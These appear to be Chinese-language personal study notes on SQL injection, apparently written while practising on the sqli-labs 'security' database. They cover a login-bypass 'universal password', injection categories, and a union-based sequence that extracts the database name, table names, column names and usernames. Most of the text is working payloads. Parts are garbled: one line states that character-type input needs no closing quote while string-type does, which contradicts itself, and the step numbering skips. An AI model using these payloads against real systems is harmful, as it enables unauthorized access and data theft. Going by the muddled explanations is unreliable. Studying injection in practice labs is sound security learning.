web学习记录
一、万能密码
万能密码:’ or ‘=’ #
select * from user where username=’’or ‘=’#’ and password=’ ‘(*是通配符,#注释掉后面的语句,or前面是空的,为假,后面为真的,又因为是or语句,所以总体为真。)
(除了 # 以外, – 也是SQL中的注释符,但SQL的语法格式规定–和后面的注释内容必须间隔一个空格,所以这需要使用 a’ or 1 – a 而不是 a’ or 1 – 其原理和 a’ or 1 # 大同小异)
二、SQL注入
1.SQL注入的分类:
1.根据注入位置分类:get、post、head头注入
根据反馈结果分类:有回显(显错注入)、无回显(盲注)
根据数据类型分类:
1.数字型:0123456789
2.字符型:输入的参数为字符串。
最大的区别:字符型不需要闭合,字符串型一般需要闭合。2.SQL注入的流程:
?id=1asdfg
一、看是否报错:
1.不报错:字符型
三、判断列数:order by
?id=1asdfg’ order by 3(自己试–+
四、查询回显到屏幕上的列
?id=-1asdfg’ union select 1,2,3(查询出来是几列就填几)–+
(1改成-1,为了让页面显示出来查询的1,2,3,要让前面查询不出内容。)
(得到查询出来的回显位)五、获取数据名称 security
?id=-1asdfg’ union select 1,database(),3–+
六、获取表名 emails,referers,uagents,users
?id=-1’ union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=’security’),3–+
(information_schema数据库是MySQL5.0以上自带的)
七、获取users表的列名 id,username,password
?id=-1’ union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=’security’ and table_name=’users’),3–+
八、获取username具体的数据
?id=-1’ union select 1,(select group_concat(username) from users),3–+